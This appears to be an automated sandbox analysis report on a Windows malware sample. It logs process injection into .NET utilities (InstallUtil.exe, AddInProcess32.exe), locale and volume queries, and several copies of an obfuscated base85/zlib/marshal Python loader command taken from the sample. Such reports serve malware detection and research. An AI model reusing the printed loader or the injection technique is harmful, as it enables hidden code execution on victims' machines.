Source: C:\recover\olx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\recover\olx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000
Source: C:\recover\olx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000
Source: C:\recover\olx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 40C000
Source: C:\recover\olx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 40E000
Source: C:\recover\olx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 898008
Source: C:\recover\olx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000
Source: C:\recover\olx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000
Source: C:\recover\olx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 40C000
Source: C:\recover\olx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 40E000
Source: C:\recover\olx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: EFC008

Creates a process in suspended mode (likely to inject code)

Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /C start C:\Users\user\AppData\Roaming\marke.mp4	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Process created: C:\recover\pw\pw.exe "C:/recover/pw/pw.exe" -c exec(__import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b85decode('c$\|ee>>VcmTX?q>0Byn&8+IKa(iiGw{s)`PJFxr5+FbrEg^_AZKtG=5okdOVHRVWY6h-nTPp<s>l9\|`GWZX{-Azgo+czaJFD}YnSrCYHzIB<ca4avMLzo_@OOs4ffJ2HPy\|J-2z-E17!6?z#zGi}@en3pB7_TYA%u%?F@#HSDTK>#IfPH(lMt@Jl@LCKPeZs0S3~#=KEp6(J-1)L7tvtNxD~Ts!j~bQu)eTg!B_T\|@XN5iV0~qO4ZjZYMe7^;Tlj5=FInH&ui<O^4SZvN55EuFmaQM`-@)I7_!H~_K)z#5MQx=ve)36{Rj95dmXOZ8szkgqvaCQ)\|oqBmASi4Y%ziOyagxeFr_$cdirYIePJz1l&b0(HDP-z(1i^=t~Uu&{ybd4Bw(}(6<==3;GVd#olsKfgq8eu+X7eUE;?EtF26-\|6Is7)<Gup862QvqyzU^7p?68sL)A`4^g}E53fE^&Cgn{7%oojZf75G}5&m(vz`yVqhrb{Hd#&=$g7RY(>Kqi3`OyFkE~ji_hcdv@lN;XdyLUxv1m?@~VDLUtp3rFPvlWD(_8PUvgZp=i`M6imxOW=8L0_gDhlpiVsfdj9p}ZiY@LnD$B?USI3pe97%~93LZ3<ub=eTwZKl(0I-f?Ved^94CyI_KvJsmzJ<m4\|^7UmwgDJ>4IAju!om#&qUfBC@lR&e1evZx}zhJTaJ<0\|APOXkQUkMnqT~8kjl2Pv~O!xPQ_Zox$UOpQ5UdL&lc;DgbvtXJSE>@ypU5ou@ttI>\|e_ZRo!nOP;ihjWVyBLby#oLj)#6wFV^5-A#7H08TY_{+^@@-@moh\|sW8SeQe64VifcR_Fbb>x9277O4}P>UZ$`p;1;5xHByG!Z=4+q=ct0XJ5`^~)n-#oL#&+yfEcVd%K=&}}b>tjNDH`dg{lqNsAuyu^_iG?eFW~jpK(JV&39B>k=L??VwDo!1(w+ID;<~zn0v%(eB$wt1gq1&!oBCuP73R_IJl-4n^Jr(D&<w>3rTkF5!Nol8Y3Ub%0E60UG=cxCv7e$pM3<w>vDN6y=$q&U#=Yd{(qDM\|Lg}YF$=@Xzr\|ih?qV3nK_<lGexw_nMRAF_MzMd7-z7pR!~>g1#<^c#2AoCb3r^3`^kl+Y3bCxqxo{JUZAh&^X7aB+e={J$p!BZ!PeJ<VmBaM(K@c7d%iyQ=Zg>c=PW)\|^ug8R1V0A5T@G1YjlPOvvm!rdEcO^Z;~%BsNB$bQ#%6?Ke_8giF$d-p7+JXef3p7gqg8$x4Bfy8%yQS&;K=chb?jz`&%TC!`~tw9`env3^W=eUjcU~AaxVs8oWkHNO1>ffUejDBKe<tWg9;5sLpA6;W3GW~Yk^WGj=Jx#F&CvQK\|BxBxMFzku$3~k-RzK>fz2{4>D{mB&YEE^wZeG~QGeJ+{!Z&m0(YgH?R%Y}U{0~_CIq~4^-Z!DWdQXDc{}dD};r=_e+w=S@Y@FWPkl%1SIR1H^n;<j=R=eU2l&k+ml\|k2\|Dgz-60!6(H)Oh&$W}iiV6N#pgPm$;@hCM%qV+6Lre^_h+;~y<{!H>@pI5xzvmj_2+ENorEcnrlud>P\|$lnC)Bk2cBPcZe0zc5>wEo1Ddzc_n3Tf4tY!#cy0_S}n@URnj@=rlQ1k5kZ7gc4T@2ByRkj^A`Y_Ce+=P}HDj{^f<g@vg0d+QWr8@y7x(XfrMIe&jitok8$oi4uIi?Q;_Obp&Fyd2NFy>j{BL8Tbui`1xj`P^LghRvwf(_&W3CP27LCdFc&jQL%)#s0zdR+K(Wj;41s@Fju^%)3f5OBW\|TgEYHHM$ZHoHT&JKN0h4xKsI0?7dZi@T&ru=Ox67otzMbX#Ir7MP603%M!}Oh2S)xSSwaj7BqT!(?&-!Q~_g<Z3dR23?kHHC;\|AF#wUkhjykbo9PViSagLN4\|oq8nWcI%=%%wMj`%XX<j=QwwY_ZjEJMNXq>$pT=YUL2=1k;QX!4XF!?b&$&_UC^i!mR+T\|6rVDQ7T{Z4f#DUJt?(u2)ktojqyR5ChAedav~Efj8KAtzuskp3T(GDUu0!yBAYY)fkZManxeAqSPi\|Pk<erZttOY(^9SR4;hYk?$c8Dl!8_(y1Xf<Qa<wYi$Vel%#L0{xF}aCW(lRYF2U=6BtT{}+MfE7&Bn`dWN};^pln8?mi-WXCv<SY7Xx@UnC}jk$YvdcE(d7zONtgUe!$gI=4GW^2zTp{O;JaL^C1lf$X^YZL1UcHW)h>M_SX@&tjxr6YeN#=Hk9gbi0cE9mi<RVVj\|hyR;FBCV{%p_#axJVyMkp2ozsYi@w7FnpAAd5Ny8>Fu%GD#D;k=5G{7fTf8CxX)Koz%hL?skl36`Sowy8dNqJ5f^;zAY-!RUp{<QvTLOTsF$Te#%v1x`1X?^%vv{vUv~Ls&W%!~\|l^jlyD7U7Gz^()KLN^a6v00\|%66YYm0G=54>msby3LKUp2lD19RiSuC07go17?~q9LM^eRK#yICAakO{b=4^)k5xq7h#brvCZn_zyhL~#$%Y8l!1cHw^~?pfMg3biB$mEtH@1YhQ{9>2X;ul+!K8;iCaWI9t8K#t)}APE%H2aJ(wb+V(HgT\|uFR$FqW)F1$bOs>wG?f^<gy=5{JPy\|yfgSsTqX;oy0I&DmO$%48KWkjJVZ<AF`<nxf>%19cdI3m;FNYF)HtFGYjb<wCo!gaW5dn$JMsnlfm715a1OmmvIT}K9-iySc2WY`7tnB_?XTBJ$vDVS1C&Jpc{8l;(Ky;++=hY>_uB1OD+v56WW)gvpZTpl`nN3fv6Q@kuowMv~HkGKMuC<N!o*k?J0<urRR;R~2Qf@^A1&ev%uX;j;jZKJP{uwS9lo-DDVLXjn@nd4vy>yk	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Process created: C:\recover\olx.exe "C:\recover\olx.exe"	Jump to behavior
Source: C:\recover\olx.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\recover\olx.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
Source: C:\recover\olx.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Process created: C:\recover\pw\pw.exe "c:/recover/pw/pw.exe" -c exec(__import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b85decode('c$\|ee>>vcmtx?q>0byn&8+ika(iigw{s)`pjfxr5+fbreg^_azktg=5okdovhrvwy6h-ntpp<s>l9\|`gwzx{-azgo+czajfd}ynsrcyhzib<ca4avmlzo_@oos4ffj2hpy\|j-2z-e17!6?z#zgi}@en3pb7_tya%u%?f@#hsdtk>#ifph(lmt@jl@lckpezs0s3~#=kep6(j-1)l7tvtnxd~ts!j~bqu)etg!b_t\|@xn5iv0~qo4zjzyme7^;tlj5=finh&ui<o^4szvn55eufmaqm`-@)i7_!h~_k)z#5mqx=ve)36{rj95dmxoz8szkgqvacq)\|oqbmasi4y%zioyagxefr_$cdiryiepjz1l&b0(hdp-z(1i^=t~uu&{ybd4bw(}(6<==3;gvd#olskfgq8eu+x7eue;?etf26-\|6is7)<gup862qvqyzu^7p?68sl)a`4^g}e53fe^&cgn{7%oojzf75g}5&m(vz`yvqhrb{hd#&=$g7ry(>kqi3`oyfke~ji_hcdv@ln;xdyluxv1m?@~vdlutp3rfpvlwd(_8puvgzp=i`m6imxow=8l0_gdhlpivsfdj9p}ziy@lnd$b?usi3pe97%~93lz3<ub=etwzkl(0i-f?ved^94cyi_kvjsmzj<m4\|^7umwgdj>4iaju!om#&qufbc@lr&e1evzx}zhjtaj<0\|apoxkqukmnqt~8kjl2pv~o!xpq_zox$uopq5udl&lc;dgbvtxjse>@ypu5ou@tti>\|e_zro!nop;ihjwvyblby#olj)#6wfv^5-a#7h08ty_{+^@@-@moh\|sw8seqe64vifcr_fbb>x9277o4}p>uz$`p;1;5xhbyg!z=4+q=ct0xj5`^~)n-#ol#&+yfecvd%k=&}}b>tjndh`dg{lqnsauyu^_ig?efw~jpk(jv&39b>k=l??vwdo!1(w+id;<~zn0v%(eb$wt1gq1&!obcup73r_ijl-4n^jr(d&<w>3rtkf5!nol8y3ub%0e60ug=cxcv7e$pm3<w>vdn6y=$q&u#=yd{(qdm\|lg}yf$=@xzr\|ih?qv3nk_<lgexw_nmraf_mzmd7-z7pr!~>g1#<^c#2aocb3r^3`^kl+y3bcxqxo{juzah&^x7ab+e={j$p!bz!pej<vmbam(k@c7d%iyq=zg>c=pw)\|^ug8r1v0a5t@g1yjlpovvm!rdeco^z;~%bsnb$bq#%6?ke_8gif$d-p7+jxef3p7gqg8$x4bfy8%yqs&;k=chb?jz`&%tc!`~tw9`env3^w=eujcu~aaxvs8owkhno1>ffuejdbke<twg9;5slpa6;w3gw~yk^wgj=jx#f&cvqk\|bxbxmfzku$3~k-rzk>fz2{4>d{mb&yee^wzeg~qgej+{!z&m0(ygh?r%y}u{0~_ciq~4^-z!dwdqxdc{}dd};r=_e+w=s@y@fwpkl%1sir1h^n;<j=r=eu2l&k+ml\|k2\|dgz-60!6(h)oh&$w}iiv6n#pgpm$;@hcm%qv+6lre^_h+;~y<{!h>@pi5xzvmj_2+enorecnrlud>p\|$lnc)bk2cbpcze0zc5>weo1ddzc_n3tf4ty!#cy0_s}n@urnj@=rlq1k5kz7gc4t@2byrkj^a`y_ce+=p}hdj{^f<g@vg0d+qwr8@y7x(xfrmie&jitok8$oi4uii?q;_obp&fyd2nfy>j{bl8tbui`1xj`p^lghrvwf(_&w3cp27lcdfc&jql%)#s0zdr+k(wj;41s@fju^%)3f5obw\|tgeyhhm$zhoht&jkn0h4xksi0?7dzi@t&ru=ox67otzmbx#ir7mp603%m!}oh2s)xsswaj7bqt!(?&-!q~_g<z3dr23?khhc;\|af#wukhjykbo9pvisagln4\|oq8nwci%=%%wmj`%xx<j=qwwy_zjejmnxq>$pt=yul2=1k;qx!4xf!?b&$&_uc^i!mr+t\|6rvdq7t{z4f#dujt?(u2)ktojqyr5chaedav~efj8katzuskp3t(gduu0!ybayy)fkzmanxeaqspi\|pk<erzttoy(^9sr4;hyk?$c8dl!8_(y1xf<qa<wyi$vel%#l0{xf}acw(lryf2u=6btt{}+mfe7&bn`dwn};^pln8?mi-wxcv<sy7xx@unc}jk$yvdce(d7zontgue!$gi=4gw^2ztp{o;jal^c1lf$x^yzl1uchw)h>m_sx@&tjxr6yen#=hk9gbi0ce9mi<rvvj\|hyr;fbcv{%p_#axjvymkp2ozsyi@w7fnpaad5ny8>fu%gd#d;k=5g{7ftf8cxx)koz%hl?skl36`sowy8dnqj5f^;zay-!rup{<qvtlotsf$te#%v1x`1x?^%vv{vuv~ls&w%!~\|l^jlyd7u7gz^()kln^a6v00\|%66yym0g=54>msby3lkup2ld19risuc07go17?~q9lm^erk#yicaako{b=4^)k5xq7h#brvczn_zyhl~#$%y8l!1chw^~?pfmg3bib$meth@1yhq{9>2x;ul+!k8;icawi9t8k#t)}ape%h2aj(wb+v(hgt\|ufr$fqw)f1$bos>wg?f^<gy=5{jpy\|yfgsstqx;oy0i&dmo$%48kwkjjvz<af`<nxf>%19cdi3m;fnyf)htfgyjb<wco!gaw5dn$jmsnlfm715a1ommvit}k9-iysc2wy`7tnb_?xtbj$vdvs1c&jpc{8l;(ky;++=hy>_ub1od+v56ww)gvpztpl`nn3fv6q@kuowmv~hkgkmuc<n!o*k?j0<urrr;r~2qf@^a1&ev%ux;j;jzkjp{uws9lo-ddvlxjn@nd4vy>yk
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Process created: C:\recover\pw\pw.exe "c:/recover/pw/pw.exe" -c exec(__import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b85decode('c$\|ee>>vcmtx?q>0byn&8+ika(iigw{s)`pjfxr5+fbreg^_azktg=5okdovhrvwy6h-ntpp<s>l9\|`gwzx{-azgo+czajfd}ynsrcyhzib<ca4avmlzo_@oos4ffj2hpy\|j-2z-e17!6?z#zgi}@en3pb7_tya%u%?f@#hsdtk>#ifph(lmt@jl@lckpezs0s3~#=kep6(j-1)l7tvtnxd~ts!j~bqu)etg!b_t\|@xn5iv0~qo4zjzyme7^;tlj5=finh&ui<o^4szvn55eufmaqm`-@)i7_!h~_k)z#5mqx=ve)36{rj95dmxoz8szkgqvacq)\|oqbmasi4y%zioyagxefr_$cdiryiepjz1l&b0(hdp-z(1i^=t~uu&{ybd4bw(}(6<==3;gvd#olskfgq8eu+x7eue;?etf26-\|6is7)<gup862qvqyzu^7p?68sl)a`4^g}e53fe^&cgn{7%oojzf75g}5&m(vz`yvqhrb{hd#&=$g7ry(>kqi3`oyfke~ji_hcdv@ln;xdyluxv1m?@~vdlutp3rfpvlwd(_8puvgzp=i`m6imxow=8l0_gdhlpivsfdj9p}ziy@lnd$b?usi3pe97%~93lz3<ub=etwzkl(0i-f?ved^94cyi_kvjsmzj<m4\|^7umwgdj>4iaju!om#&qufbc@lr&e1evzx}zhjtaj<0\|apoxkqukmnqt~8kjl2pv~o!xpq_zox$uopq5udl&lc;dgbvtxjse>@ypu5ou@tti>\|e_zro!nop;ihjwvyblby#olj)#6wfv^5-a#7h08ty_{+^@@-@moh\|sw8seqe64vifcr_fbb>x9277o4}p>uz$`p;1;5xhbyg!z=4+q=ct0xj5`^~)n-#ol#&+yfecvd%k=&}}b>tjndh`dg{lqnsauyu^_ig?efw~jpk(jv&39b>k=l??vwdo!1(w+id;<~zn0v%(eb$wt1gq1&!obcup73r_ijl-4n^jr(d&<w>3rtkf5!nol8y3ub%0e60ug=cxcv7e$pm3<w>vdn6y=$q&u#=yd{(qdm\|lg}yf$=@xzr\|ih?qv3nk_<lgexw_nmraf_mzmd7-z7pr!~>g1#<^c#2aocb3r^3`^kl+y3bcxqxo{juzah&^x7ab+e={j$p!bz!pej<vmbam(k@c7d%iyq=zg>c=pw)\|^ug8r1v0a5t@g1yjlpovvm!rdeco^z;~%bsnb$bq#%6?ke_8gif$d-p7+jxef3p7gqg8$x4bfy8%yqs&;k=chb?jz`&%tc!`~tw9`env3^w=eujcu~aaxvs8owkhno1>ffuejdbke<twg9;5slpa6;w3gw~yk^wgj=jx#f&cvqk\|bxbxmfzku$3~k-rzk>fz2{4>d{mb&yee^wzeg~qgej+{!z&m0(ygh?r%y}u{0~_ciq~4^-z!dwdqxdc{}dd};r=_e+w=s@y@fwpkl%1sir1h^n;<j=r=eu2l&k+ml\|k2\|dgz-60!6(h)oh&$w}iiv6n#pgpm$;@hcm%qv+6lre^_h+;~y<{!h>@pi5xzvmj_2+enorecnrlud>p\|$lnc)bk2cbpcze0zc5>weo1ddzc_n3tf4ty!#cy0_s}n@urnj@=rlq1k5kz7gc4t@2byrkj^a`y_ce+=p}hdj{^f<g@vg0d+qwr8@y7x(xfrmie&jitok8$oi4uii?q;_obp&fyd2nfy>j{bl8tbui`1xj`p^lghrvwf(_&w3cp27lcdfc&jql%)#s0zdr+k(wj;41s@fju^%)3f5obw\|tgeyhhm$zhoht&jkn0h4xksi0?7dzi@t&ru=ox67otzmbx#ir7mp603%m!}oh2s)xsswaj7bqt!(?&-!q~_g<z3dr23?khhc;\|af#wukhjykbo9pvisagln4\|oq8nwci%=%%wmj`%xx<j=qwwy_zjejmnxq>$pt=yul2=1k;qx!4xf!?b&$&_uc^i!mr+t\|6rvdq7t{z4f#dujt?(u2)ktojqyr5chaedav~efj8katzuskp3t(gduu0!ybayy)fkzmanxeaqspi\|pk<erzttoy(^9sr4;hyk?$c8dl!8_(y1xf<qa<wyi$vel%#l0{xf}acw(lryf2u=6btt{}+mfe7&bn`dwn};^pln8?mi-wxcv<sy7xx@unc}jk$yvdce(d7zontgue!$gi=4gw^2ztp{o;jal^c1lf$x^yzl1uchw)h>m_sx@&tjxr6yen#=hk9gbi0ce9mi<rvvj\|hyr;fbcv{%p_#axjvymkp2ozsyi@w7fnpaad5ny8>fu%gd#d;k=5g{7ftf8cxx)koz%hl?skl36`sowy8dnqj5f^;zay-!rup{<qvtlotsf$te#%v1x`1x?^%vv{vuv~ls&w%!~\|l^jlyd7u7gz^()kln^a6v00\|%66yym0g=54>msby3lkup2ld19risuc07go17?~q9lm^erk#yicaako{b=4^)k5xq7h#brvczn_zyhl~#$%y8l!1chw^~?pfmg3bib$meth@1yhq{9>2x;ul+!k8;icawi9t8k#t)}ape%h2aj(wb+v(hgt\|ufr$fqw)f1$bos>wg?f^<gy=5{jpy\|yfgsstqx;oy0i&dmo$%48kwkjjvz<af`<nxf>%19cdi3m;fnyf)htfgyjb<wco!gaw5dn$jmsnlfm715a1ommvit}k9-iysc2wy`7tnb_?xtbj$vdvs1c&jpc{8l;(ky;++=hy>_ub1od+v56ww)gvpztpl`nn3fv6q@kuowmv~hkgkmuc<n!o*k?j0<urrr;r~2qf@^a1&ev%ux;j;jzkjp{uws9lo-ddvlxjn@nd4vy>yk			Jump to behavior

Language, Device and Operating System Detection

Contains functionality to query locales information (e.g. system language)

Source: C:\recover\olx.exe	Code function: ___lc_locale_name_func,GetLocaleInfoEx,		15_2_00007FFB1C37F4F0
Source: C:\recover\olx.exe	Code function: GetLocaleInfoEx,FormatMessageA,		15_2_00007FFB1C36285C

Queries the volume information (name, serial number etc) of a device

Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\collections VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\collections VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\collections\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\collections\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\concurrent\futures VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\concurrent\futures VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\concurrent VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\macholib VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\macholib VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\macholib VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\macholib VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\macholib VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\macholib VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Queries volume information: C:\recover\pw\Lib\ctypes\test VolumeInformation	Jump to behavior
